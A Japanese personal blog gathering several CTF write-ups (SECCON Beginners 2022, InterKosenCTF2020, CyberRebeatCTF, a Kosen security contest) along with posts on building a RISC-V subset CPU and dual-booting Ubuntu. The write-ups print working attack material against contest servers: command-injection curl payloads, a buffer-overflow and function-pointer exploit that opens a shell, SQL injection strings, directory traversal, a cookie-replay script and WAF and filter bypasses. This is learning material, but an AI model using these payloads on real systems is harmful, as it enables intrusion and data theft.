SECCON Begginers CTF 2022 Write up

はじめに

SECCON Begginers CTF 2022に参加しました。前回参加したCTFがSECCON Begginers CTF2021な気がするので、1年ぶりのCTFでした。 チームは友人たちで自分含めて三人でした。 結果としては、チームで834pt、92位でした。

Web

Util (54 pt)

フォームに入力されたIPに対してpingコマンドが実行されるページが与えられます。 また、与えられたコードを見ると実行されているpingコマンドを組み立てているところは普通に複数のコマンドを繋げられそうです。

        r.POST("/util/ping", func(c *gin.Context) {
                var param IP
                if err := c.Bind(&param); err != nil {
                        c.JSON(400, gin.H{"message": "Invalid parameter"})
                        return
                }

                commnd := "ping -c 1 -W 1 " + param.Address + " 1>&2"
                result, _ := exec.Command("sh", "-c", commnd).CombinedOutput()

                c.JSON(200, gin.H{
                        "result": string(result),
                })
        })

また、別で与えられたDockerfileを見ると/flag_<randam>にFLAGが書き込まれていることがわかります。 なので、以下のコマンドを実行するとFLAGが手に入ります。

$ curl -X POST 'https://util.quals.beginners.seccon.jp/util/ping' -H 'Content-Type: application/json' -d '{"address": "1.1.1.1; ls /"}'
$ curl -X POST 'https://util.quals.beginners.seccon.jp/util/ping' -H 'Content-Type: application/json' -d '{"address": "1.1.1.1; cat /flag_A74FIBkN9sELAjOc.txt"}'

textex (92 pt)

フォームに入力されたTeXをPDFにしてかえしてくるページが渡されます。 また、渡されたコードを見るとflagという文字列が含まれていると.texファイルの中身が空になりエラーとなるようです。 ほかにもディレクトリ内にFLAGが書かれたファイルが置かれていることもわかります。 なので、ほかのファイルを読み込む\inputを使うことを考えました。 また、flagのチェックを回避する方法としてコメントアウトでやる方法を考えました。 ここまでで、以下のようになります。

\documentclass{article}
\begin{document}

This is a sample.
\input{fl%
ag}

\end{document}

しかし、このままだとエラーになります。 ローカルで動かすと動作するため、FLAG内にTeXとして解釈される記号が含まれていると思いました。 そこで、いろいろググった結果verbatim環境を使うと行けそうです。 最終的に以下のようになりました。

\documentclass{article}
\usepackage{verbatim}
\begin{document}

This is a sample.
\verbatiminput{fl%
ag}

\end{document}

途中、実行時間とかの問題があるのかと思っていましたが結果としてはinputで記号が入ってたことが原因ぽかったです。

gallery (83 pt)

これは途中までチームメンバーが解いていたので、FLAGが含まれたPDFファイルがレスポンスのサイズ制限で取得できないようです。 ググったところHTTPリクエストにRangeヘッダーが存在することがわかり、これが使えそうです。 参考: developer.mozilla.org なので、Rangeヘッダーを使ってリクエストを送りローカルでつなげてPDFを手に入れます。

curl -H 'Range: bytes=0-10239' 'https://gallery.quals.beginners.seccon.jp/images/flag_7a96139e-71a2-4381-bf31-adf37df94c04.pdf' > 1.out
curl -H 'Range: bytes=10240-20479' 'https://gallery.quals.beginners.seccon.jp/images/flag_7a96139e-71a2-4381-bf31-adf37df94c04.pdf' > 2.out
cat 1.out 2.out > answer.pdf

これで、answer.pdfを開くとFLAGが書かれています。

Misc

phisher

これはチームメンバーがほぼやってくれたのでざっくりとだけ www.example.comを構成する文字を使わずにOCRwww.example.comと認識させる文字を送る問題です。 これは与えられたコードを見ると使われているフォントがわかるので、そのフォントを見ながらw -> ωみたいな感じでやります。 .が最期の難関でしたが、Unicode表から.を検索して探してきたそうです。  

H2 (69 pt)

パケットキャプチャの結果とサーバーのコードわたされます。 サーバーのコードを見ると、正解のパスにアクセスされるとx-flagにFLAGを書き込んで返すように見えます。 そして、Wiresharkでパケットキャプチャの結果を開き、http2.header.name == "x-flag"でフィルターをかけると正解のパケットが見つかります。

Pwn

BeginnersBof (84 pt)

タイトルと与えられたコードを見ると、バッファオーバーフローでmain関数からのリターンアドレスを書き換えて、FLAGを出力するwin関数へ飛べばよさそうにみえます。 途中で、gdbとか使いながらなんとかソルバーを書きました。 なんか、うまいことリターンアドレスに入らなかったんですよね。 ちょっとこのあたりのバイナリとかの知識がまだ足りない感じがします。 以下のコードもすごいむりやりです。

from pwn import *

io = remote('beginnersbof.quals.beginners.seccon.jp', 9000)

io.recvuntil(b'?')
io.sendline(b'1000')
io.recvuntil(b'?')
io.sendline(b'A'*24+b'\x01\x01\x01\x01'+b'\x00'*12+b'\xe6\x11\x40\x00\x00\x00\x00\x00'*2)
print(io.recvline())
print(io.recvline())
print(io.recvline())

Reversing

Quiz (50 pt)

これは、与えられたバイナリをradare2で解析したらそのままFLAGが書かれていたので、これで終わりです。

WinTLS (100 pt)

これは、ウィンドウが開き、そこに入力された文字列とFLAGを比較する感じのexeファイルが与えられます。 バイナリを見ると二つに分割されたFLAGが書かれていますが、ちょっと順番が工夫されているのでそのままでは読めません。 いろいろバイナリを読んでみたのですがわからなかったので、IDAで実行し、入力にabcdefg...を与えて、それぞれの文字が分割されたFLAGのどちら側になるかを見て、あとは手動で復元しました。

Crypto

CoughingFox (55 pt)

これは、与えられたコードを見ると、FLAGの各文字列に対してインデックスと和をとり2乗してインデックスを足した結果をシャッフルしていることがわかります。 output.txtのそれぞれの要素で、平方数との差をとっていいかんじにすればいいとわかったので、CTF初参加のチームメンバーに解けそうな問題だよと言って渡しました。

PrimeParty (127 pt)

こちらから3つの任意の素数をnに追加できるRSA暗号です。 なので、十分に大きな素数を用意してこちらから与えた素数のみを使ってRSA暗号を解くとそのままFLAGが復号できます。 これ、実は素数一つで行けるはずなんですがうまくいかなかったので2つ使ってます。

from Crypto.Util.number import *
from pwn import *

bits = 255

io = remote('primeparty.quals.beginners.seccon.jp', 1336)

io.recvuntil(b' > ')
prime1 = getPrime(bits)
print(prime1)
io.sendline(str(prime1).encode())

print(io.recvuntil(b' > '))
prime2 = getPrime(bits)
print(prime2)
io.sendline(str(prime2).encode())

print(io.recvuntil(b' > '))
prime3 = getPrime(bits)
print(prime3)
io.sendline(str(prime3).encode())

print(io.recvline())
print(io.recvline())
n = int(io.recvline().decode('ascii').replace('n = ', ''))
e = int(io.recvline().decode('ascii').replace('e = ', ''))
c = int(io.recvline().decode('ascii').replace('cipher = ', ''))

print(c)
l = (prime1-1)*(prime2-1)
d = inverse(e, l)

print(long_to_bytes(pow(c, d, prime1*prime2)))

おわりに

ひさしぶりのCTFでしたので基本的な問題を一通り解くみたいな感じにできてよかったとは思っています。 新しいことができた的な意味では、ブランク分成長してないですね。 まあ、CTFはまったりやります。

RISC-Vもどきを作った話

はじめに

学校の課題でCPUの設計を行うといったものが出ました. そこで,せっかくCPUを設計するなら頑張ってみようと思ったのでRISC-Vのサブセットを命令セットに持つCPUを設計してみました.

命令セット

今回,設計したCPUの命令セットはRV32Iのサブセットにしました. 実装したCPU命令を一覧が下の表です.オペランドなど詳しい説明は別のところを見てください. 大方の命令は実装しました.

命令 簡単な説明
ADD 加算
SUB 減算
SLL 左シフト
SLT 符号付比較
SLTU 符号なし比較
XOR 排他的論理和
SRL 論理右シフト
SRA 算術右シフト
OR 論理和
AND 論理積
ADDI 即値との加算
SLTI 即値との符号付比較
SLTIU 即値との符号なし比較
XORI 即値との排他的論理和
ORI 即値との論理和
ANDI 即値との論理積
SLLI 即値分左シフト
SRLI 即値分右論理シフト
SRAI 即値分右算術シフト
LUI レジスタの上位20bitをセット
JAL 即値分ジャンプ
JALR レジスタ+即値にジャンプ
BEQ 等しいときにジャンプ
BNE 等しくないときにジャンプ
BLT (A<B)のときジャンプ (符号付比較)
BGE (A>=B)のときジャンプ (符号付比較)
BLTU (A<B)のときジャンプ (符号なし比較)
BGEU (A>=B)のときジャンプ (符号なし比較)
SW レジスタの内容をメモリにセット
LW メモリの内容をレジスタにセット

CPUの構成

設計したCPUのアーキテクチャの図を下に載せておきます.(コード書いた後にまとめなおしたものなのでミスがあるかもしれない)

f:id:tadaren:20210208204634p:plain

アセンブラ

CPUの動作テストをするために簡単なアセンブラPythonで実装しました. これには,上記の命令と即値をレジスタにセットするLUI+ADDIの2命令に変換される追加命令を実装しました.

書いたコード

書いたコードはGitHubにおいてあります.(https://github.com/tadaren/CPU_RV32I) テスト用に書いたアセンブリとそれのアセンブラも一緒においてあります.

感想

授業きっかけで,漠然とやりたいと思ってたCPUの設計ができてよかった. CPU設計をする面でいえば,RISCとかみたいに命令数が少なくて,固定長なほうが楽だとは思った.けど,コンパイラを考えると,もっと命令はあるほうが実装は楽だと思う,比較命令のとかを見ると,順番を入れ替えたりしてアセンブリにしていくのとか地味に面倒だと思う. 大体半月ぐらいの余裕時間の半分をこれに咲いたけど,一部命令を時間の問題で実装できなかったのは非常に残念です.いったんこれでやめるけど,また時間ができたら続きを実装したいと思う.それに,コンパイラとかも書いてみると面白そうなのでやってみたい. CPUの構成も,今回は1クロックですべて回すようにしたから,クロックをそんなに早くできないと思うけど,今度はパイプラインとかもやってみたいと思う.

参考にしたサイト

http://exp.mtl.t.u-tokyo.ac.jp/2020/b3exp/wikis/RISCVISA http://am.ics.keio.ac.jp/parthenon/rvmicro.pdf https://www.k0b0srecord.com/entry/2018/02/14/112505

InterKosenCTF2020に参加した話

はじめに

ブログも久しぶり,CTFも久しぶりです. あまりに久しぶりすぎて,ダメダメでしたが(久しぶりでなくてもダメです)適当に解いた問題のWriteupを書いていきます.

結果

一応結果を書いておくと,2人チームで出場してました. チーム名: TearDropsで684pts(43位),個人: Tadarenで584pts(63位)です.

本編

ciphertexts

与えられるのは暗号化するスクリプトとその結果です.

スクリプトの内容を見ると,p, q, rの素数を用いたRSA暗号なことがわかります. ここで,n2がn1のr倍になっているのでc2のn2をいい感じにn1に変換できます. すると,c1, c2'が同じn1で割った余りになるのでCommon Modulus Attackができます.

import gmpy2
from Crypto.Util.number import *

with open('output.txt') as f:
    n1 = int(f.readline().split('= ')[1])
    n2 = int(f.readline().split('= ')[1])
    e1 = int(f.readline().split('= ')[1])
    e2 = int(f.readline().split('= ')[1])
    f.readline()
    c1 = int(f.readline().split('= ')[1])
    c2 = int(f.readline().split('= ')[1])

r = n2/n1
c22 = c2 % n1

gcd, s1, s2 = gmpy2.gcdext(e1, e2)
if s1 < 0:
    s1 = -s1
    c1 = gmpy2.invert(c1, n1)
v = pow(c1, s1, n1)
w = pow(c22, s2, n1)
m = (v*w) % n1
print(long_to_bytes(m))

flag: KosenCTF{HALDYN_D0M3}

matsushima2

ブラックジャックをするサイトと,そのソースが与えられます. ブラックジャックをして,チップの数が999999を超えたらflagが手に入ります. また,チップは100から始まって常に全賭けです. なので,14回連続で勝利すればOKです. ブラックジャックが強い人なら勝てばいいと思います.

僕は違うので,別の方法で行きます. API部分のソースを見ると,JWTで暗号化されたステートがcookieで保存されていることがわかり,それを受け取って次の処理が行われていることがわかります. ステートが全てcookieに乗っているので,負けたとしても前のcookieを保存しておいてそれを使えば負けたことをなかったことにできます. これを,適当に実装して合計14回勝利するのを待ちます.

import requests
import time


print('start')
res = requests.post('http://web.kosenctf.com:14001/initialize')
data = res.json()
chip = int(data['chip'])
score = int(data['player_score'])
cookie = res.cookies['matsushima']
time.sleep(1)

best_cookie = cookie
while True:
    cookie = best_cookie
    while True:
        while score >= 0:
            if score < 17:
                print('hit')
                res = requests.post('http://web.kosenctf.com:14001/hit', cookies={'matsushima': cookie})
                data = res.json()
                chip = int(data['chip'])
                score = int(data['player_score'])
                cookie = res.cookies['matsushima']
            else:
                print('stand')
                res = requests.post('http://web.kosenctf.com:14001/stand', cookies={'matsushima': cookie})
                data = res.json()
                chip = int(data['chip'])
                score = int(data['player_score'])
                cookie = res.cookies['matsushima']
                score = -1
            time.sleep(1)

        if chip > 1000000:
            print('gameClear')
            print(cookie)
            res = requests.get('http://web.kosenctf.com:14001/flag', cookies={'matsushima': cookie})
            print(res.text)
            exit()
        if chip == 0:
            score = 1
            print('gameover')
            break
        else:
            print('nextgame')
            res = requests.post('http://web.kosenctf.com:14001/nextgame', cookies={'matsushima': cookie})
            data = res.json()
            print(data)
            chip = int(data['chip'])
            score = int(data['player_score'])
            cookie = res.cookies['matsushima']
            best_cookie = cookie

flag: KosenCTF{r3m3mb3r_m475u5him4}

limited

あるサイトが攻撃されたときのパケットキャプチャ結果が与えられます. そこから,flagを探します.

wiresharkを用いて中身を見ているとhttp://moxxie.tk:8080/search.php?keyword=&search_max=%28SELECT+unicode%28substr%28secret%2C+1%2C+1%29%29+FROM+account+WHERE+name%3D%22admin%22%29+%25+19的なリクエストが見つかると思います. このサイトではsearch_max個の結果を出力するっぽいです. そして,search_maxに入っているSQLクエリは(SELECT unicode(substr(secret, 1, 1)) FROM account WHERE name="admin") % 19です. これは,adminアカウントのsecretの1文字目の文字コードを19で割った余りという意味です. これが,search_maxに入っているので帰って来たHTMLの中の要素の個数を見れば文字のヒントが得られます.

このようなクエリがたくさんあるので,そこから文字のインデックス,割る数,結果をまとめて,flagを計算するスクリプトを書きます.

from scapy.all import *
from scapy.layers.http import HTTP

PCAP_FILE_PATH = 'packet.pcap'


def is_target_packet(packet):
    return HTTP in packet and ( packet[IP].dst == '124.41.115.112' or packet[IP].src == '124.41.115.112')

def parse(file_path):
    packets = rdpcap(file_path).filter(is_target_packet)[10:]

    data = {}
    for cnt, packet in enumerate(packets):
        if cnt % 2:
            tmp = str(packet[HTTP]).split('<th scope="row">')[-1]
            try:
                res = int(tmp.split('</th>')[0])
            except:
                res = 0
            if data.get(index, None) is None:
                data[index] = []
            data[index].append((mod, res))
            print(res)
        else:
            index = int(str(packet[HTTP]).split('%2C')[1][1:])
            mod = int(str(packet[HTTP]).split()[1].split('+')[-1])
            print(index, mod)
        print('---------------')

    for d in data.values():
        for i in range(33, 127):
            is_valid = True
            for dd in d:
                if i % dd[0] != dd[1]:
                    is_valid = False
            if is_valid:
                print(chr(i), end='')
                break

if __name__ == '__main__':
    parse(PCAP_FILE_PATH)

flag: KosenCTF{u_c4n_us3_CRT_f0r_LIMIT_1nj3ct10n_p01nt}

babysort

アクセス先と,そのELF実行バイナリとソースが与えられます. ncでアクセスすると与えられた5つの数字を昇順 or 降順にソートするようです.

ここで,ソースをみるとシェルを呼び出す関数があるので,これを呼び出せば良いことがわかります. また,関数ポインタで呼んでいるところがあるのでここにその関数を入れたいと思います.

SortExperiment構造体の中にlong型の配列と関数ポインタの配列があります. これらはメモリ上で連続なので関数ポインタのインデックスをlong型の配列方向に配列外にして,その座標にwin関数のアドレスを入れます. win関数のアドレスは実行バイナリをradare2を使って適当に調べました.結果は0x00400787でした. あとは,数値として入力するのでこの値を10進数に変換して投げつけます.

nc pwn.kosenctf.com 9001
-*-*- Sort Experiment -*-*-
elm[0] = 1
elm[1] = 2
elm[2] = 3
elm[3] = 4
elm[4] = 4196231
[0] Ascending / [1] Descending: -1
ls
chall
flag-165fa1768a33599b04fbb4f7a05d0d26.txt
redir.sh
cat flag-165fa1768a33599b04fbb4f7a05d0d26.txt
KosenCTF{f4k3_p01nt3r_l34ds_u_2_w1n}

flag: KosenCTF{f4k3_p01nt3r_l34ds_u_2_w1n}

終わりに

久しぶりにCTFに出たので勘とかが鈍っている感じがしました. けど,スクリプトかいてflagがきれいに出て来たときはテンションが上がりますね.

WindowsPCに外付けSSD(HDD)でデュアルブートした話

はじめに

数ヶ月前,研究室ではWindowsを使っていたがLinuxを使いたくなったので外付けHDDでデュアルブートをした時のメモです. 写真とかは撮ってないので本当にメモ程度です.

環境

WindowsPC: lenovoのデスクトップPC
Linux: Ubuntu18.04

手順

  1. UbuntuのLiveUSBを作る
  2. UbuntuのLive環境を起動する
  3. Live環境からGPartedで外付けSSDパーティションを設定する
  4. インストール先ディスクを外付けSSDに指定して通常通りインストールする(ブートローダーのインストール先に気をつける)
  5. BIOSの起動ディスク順序を変更する

最後に

気が向いたらさらに追記します

CyberRebeatCTFに参加した(WriteUp)

はじめに

CyberRebeatCTFに参加しました.元々は一人で参加する予定でしたが,始まってから友人を誘いましたが彼は早々に諦めたので実質一人でした.

 

結果ですが,22位でした.一人だった割に頑張ったと思います.(多分)  

ということで,WriteUpを書きました.

 

Binary

SimpleBinary

fileコマンドで見た所LinuxのバイナリっぽかったのでUbuntu(WSL)で実行した.けれど特に何も出てこなかった.

なので,radare2でバイナリ解析したりしながら,gdbで実行し,main関数終了手前でブレークしたらFLAGがレジスタに入ってた.

 

crackme

fileコマンドで確認したらARMのバイナリだったので,qemu-user-staticとかで実行したら,Usageが出てきたので実行時引数に適当な文字を入れたらWrong!だった(当たり前).radare2でバイナリを見てるとflag.encryptedとかいう文字列をいじいじしているのが見えたのでflag.encryptedを見たらCRCTFに変換できそうな先頭をしていたので書き出して変換するスクリプトを書いた.

enc = [
0xb0,
0xa1,
0xb0,
0xa7,
0xb5,
0x88,
0x9b,
0x96,
0x9f,
0x9f,
0x9c,
0xac,
0xc7,
0x81,
0x9e,
0xac,
0x84,
0x9c,
0x81,
0x9f,
0x97,
0xd2,
0x8e,
]

key = 0x0c
ff = 0xff

for e in enc:
    print chr(e^key^ff)

 

Crypto

Rotation

問題文に文字が書いてあるけどぱっと見でROT13とかのシーザー的なやつだと思ったので適当に回したらFLAGが出てくる.問題文もそうだしね.

 

FLAG.encrypted

public-key.pemとFLAG.encryptedの2つのファイルが渡される.まあ,どうせRSAだと思ったのでRsaCtfToolを使って復号した.

github.com

 

Misc

Readne

画像が渡されるが,ぱっと見で日本人には読めないフォントで書かれているのはわかったので,ググって見ながらFLAGを出した.

nlab.itmedia.co.jp

 

Programming

Calculation

与えられた所にncすると計算式が出てくる.これに何回か答えたらFLAGが出てくるというやつだった.

前にも解いたことのある感じだったので適当にスクリプトを書いた.

from pwn import *

rm = remote("59.106.212.75", 8080)

res = rm.recv(2046)

while True:
    res = rm.recv(2046)
    print res

    rm.sendline(str(eval(res)))

FLAGが出てきたら無理やる止まるけど解けたらいいでしょ()

 

Prime Factor

これもncすると数字が出てくる.これの最大の素因数を答えていくものだった.

これも上と同じように書いた.

from pwn import *
import sympy

rm = remote("59.106.212.75", 8081)

res = rm.recv(2046)

while True:
    res = rm.recv(2046)
    print res
    f = sympy.factorint(int(res))
    print sorted(f.keys())[-1]
    rm.sendline(str(sorted(f.keys())[-1]))

 

Visual Novels

ncすると色々値が帰ってくるがナップサック問題を解く感じだった.ナップサック問題とかの実装があるライブラリを使って解いた.送られてきたデータをパースするのがめんどくさかった.(多分使い慣れていないから)

from pwn import *
from ortoolpy import knapsack

rm = remote("59.106.212.75", 8082)

res = rm.recv(2046)

flag = True
while True:
    res = rm.recv(2046).decode("utf-8")
    print(res)
    out = res.split("\n")
    # print(out)
    if flag:
        p = int(out[1].split()[-1])
    else:
        p = int(out[0].split()[-1])
    # print(out[3:-3])
    if flag:
        size = [int(e.split()[0][1:-1]) for e in out[3:-3]]
        print(size)
        weight = [int(e.split()[1][:-2]) for e in out[3:-3]]
        print(weight)
        flag = False
    else:
        size = [int(e.split()[0][1:-1]) for e in out[2:-3]]
        print(size)
        weight = [int(e.split()[1][:-2]) for e in out[2:-3]]
        print(weight)
    result = int(knapsack(size, weight, p)[0])
    print(result)
    rm.sendline(str(result))
    res = rm.recv(2046)
    print(res)

Recon

Tweet

Let's check our official twitter account!と書いてあったのでCyberRebeat (@CyberRebeat) | Twitterに行ったらFLAGがツイートされていた.

CyberRebeatScripts

Do you know Github?と言われたので探すとGitHub - ennach/CyberRebeatScripts: CyberRebeat's script filesこんなのがあった. 色々見たら最新のcommitのコメントがdelete FLAGだったのでhistoryを見たらFLAGがあった.

ChangeHistory

I changed my history on Github!と書いてあった.これもgithubかと思いながら探すとGitHub - ennach/ChangeHistory: CyberRebeat's scripts 2がある. これはなかなか分からなかったけど,issueのコミットハッシュをURLで指定すれば消されたcommitが見られるので終わり.

Stegano

Secret.pdf

FLAGが黒塗りにされたpdfが渡される,これは黒塗り部分をコピペすればできる.簡単

Alpha

画像が渡される.タイトルからpng画像のalpha値に隠されていると思ったけどうまいことできなかった. けど,色々した後alphaの再開ビット抽出の2値画像でFLAGがわかった.

Trivia

Monero

「仮想通貨Moneroの採掘スクリプトで,逮捕された人もいる」みたいなことが書かれているのでcoinhiveだと思って,これがFLAGだった.

Crossword

最初どうやって解くんだこれ?ってなったけど問題ミスでクロスワードの問題txtが最初なかった.けど,出てきてからは普通にググりながら解くだけだった.答えに直接関わらない埋めにゲーム内容が強かった(解いてないけど).

Web

White page

与えられたページに行くとボタンだけがあった.なので,ブラウザの開発者ツールを開いたらidとpasswordのフォームが不可視になっていたのでstyleを消して問題文のid,passwordを入力すればFLAGが出てくる.この問題も最初ミスってたぽい.

Let's Tweet!

与えられたページに行くとTweetしてね感があるページにだった,ツイートしてそのURLを入力してねって感じだった.与えられたコードを見ると#CyberRebeatCTFのハッシュタグを確認してるぽかった.まあ,普通にツイートしてURLを入力したらFLAGが出てきた. この問題も最初ミスってた.

Uploader

与えられたページに行くと.検索用の入力フォームとログイン用のフォーム,そしてuploadされたファイルのリストがあった. まずsqlインジェクションかなと思って' OR 1=1 --を検索用の所に入力したらsecret.zipが出てきた.これを落としてunzipしようとしたらpasswordが要求された.さらに問題文にあったid,password(guest)でログインすると,sample.zipのパスワードがあった.このことからsecret.zipをアップロードしたharadaのパスワードがわかればいい.なのでsqlmapを使って.sqlインジェクションしてDBのtable求めてtableをdumpした.

github.com

終わり

一人だったけどそれなりに頑張れて楽しかった.結構ゲームの宣伝感が強かったけど面白そうだったので金があればやってみようかなと思う.

高専セキュリティコンテストに参加した(Write Up)

はじめに

おととい,昨日と高専セキュリティコンテストに参加してきました. 先輩,クラスメイト,後輩との4人で参加しまして結果は,4位でした.

f:id:tadaren:20180903091951p:plain

頑張りましたけどやっぱり難しいですね. ですので,自分が解いた問題のWriteUpを書きたいと思います.

Write Up

Misc

大した問題ではないけど一応書いておきます.

更新されたIoTデバイス(50pt)

問題文(要約?)
HTTPリクエストで418が返されたらしいけど,その後,ある日のアップデートで返されなくなって美味しいお茶が出力されたらしい. これを定義したプロトコルRFCの番号をフラグにせよ.

418エラーコードでググるHyper Text Coffee Pot Control Protocol - Wikipediaが出てくる. お茶が出力されたらしいのでRFC-7168でフラグがわかる.

君の名は(50pt)

CVE-2017-5753
CVE-2017-5715
が書かれているのでググるSpectre - Wikipediaがわかる.

サイトを見ていただけなのに(50pt)

問題文 Webサイトを見ていたら,ウィルスがダウンロードされて起動された.
この攻撃手法の名前をフラグにせよ.

自分は名前がわからなかったのでググったけどドライブバイダウンロード - Wikipediaでわかる.

謎のファイル(100pt)

まず,ファイルをダウンロードするとZipなのがわかる. なので,解凍してみると色々ファイルとかがある. その中に,rename_me.xmlというファイルがある. つい最近,docxファイルを解凍したので知っていたがこれはdocxファイルだった. なので,rename_me.xmlを[Content_Types].xmlに書き換えて再び圧縮すれば開けるはずだった. しかし,開けなかった. なので,仕方なくword/document.xmlの中身を見てみたら.SCKOSENを構成できそうな文字が色々あった. なので抽出してみた.

S
{
S
C
D
_
K
O
Z
O
C
I
S
X
P
E
_
}
N
I

すると,こんな感じだった. ここから,FLAG先頭のSCKOSENを選ぶと

S
{
S

C
D
_

K
O
Z

O
C
I

S
X
P

E
_
}

N
I

こんな感じでいい感じに順番になっているなのでそれぞれのブロックの1,2,3で揃えるとFLAGになる.

Crypto

exchangeable if(100pt)

f:id:tadaren:20180903100933j:plain

こんなが画像が渡される. これをみると4文字分がわからない. なので,strings out.jpegで見た所md5=2009....となっているところがあった. なので,4文字分を総当たりしてFLAGを作ってそのmd5ハッシュを比較し,一致すれば出力のコードを書いた.

import hashlib

md5_ = "2009d1c114ed83f57cf8adde69fd6ca8"

out = ["SCKOSEN{sHDtF1"+chr(i)+chr(j)+chr(k)+chr(l)+"NLTIWp}" for i in range(32, 127) for j in range(32, 127) for k in range(32, 127) for l in range(32, 127) if hashlib.md5("SCKOSEN{sHDtF1"+chr(i)+chr(j)+chr(k)+chr(l)+"NLTIWp}").hexdigest() == md5_]

print(out)

(コードが汚いのは見逃してください) 最初はわからない4文字のmd5かと思ってしばらく解けなかったのはないしょです.

シンプルなQRコード(200pt)

右半分だけのQRコードを渡された. これは,GitHub - waidotto/strong-qr-decoder: 強力なQRコードデコーダを使って解いた. 画像を見ながら人力で白:0,黒:1,不明:?となるtxtファイルを作って,./sqrt.py -e 2 -m 3 QR.txtで実行した.この時,エラー訂正レベルは最大だと思ってマスクパターンはわからなかったから総当たりした.

Web

サーバーから情報を抜き出せ(100pt)

まず,ページにアクセスするとレゴの画像が3枚あったからデベロッパーツールでソースを見ると画像のリンクが/image?filename=1.jpegみたいになっていた. だから,/image?filename=flag.txtとかすれば行けると思ったけど無理だった.けど,/image?filename=../flag.txtで1つ上の階層なだけだった.これでFLAGが出てくる.

進撃せよ(300pt)

まず,ページにアクセスするとflag.txtとtest.txtの2つのファイル名が書かれているリンクがある. flag.txtにアクセスするとWAFがflagの文字列でアクセスを拒否してきた.test.txtの方は普通にアクセスできたがtestと書かれているだけだった.そして,リンクを見るとbase64エンコードされているみたいだったので一応確認したらbase64だった.ディレクトリトラバーサルbase64エンコードしてアクセスしたりしたけど,うまくいかなかった.なので,base64を2回すればいけるやろと適当にやったら通ってしまった.

終わり

進撃せよが解けたのは嬉しかったけど,CryptoとかBinaryの問題に関してあまり手が出なかったのが反省.次に向けてもっと精進しなければ...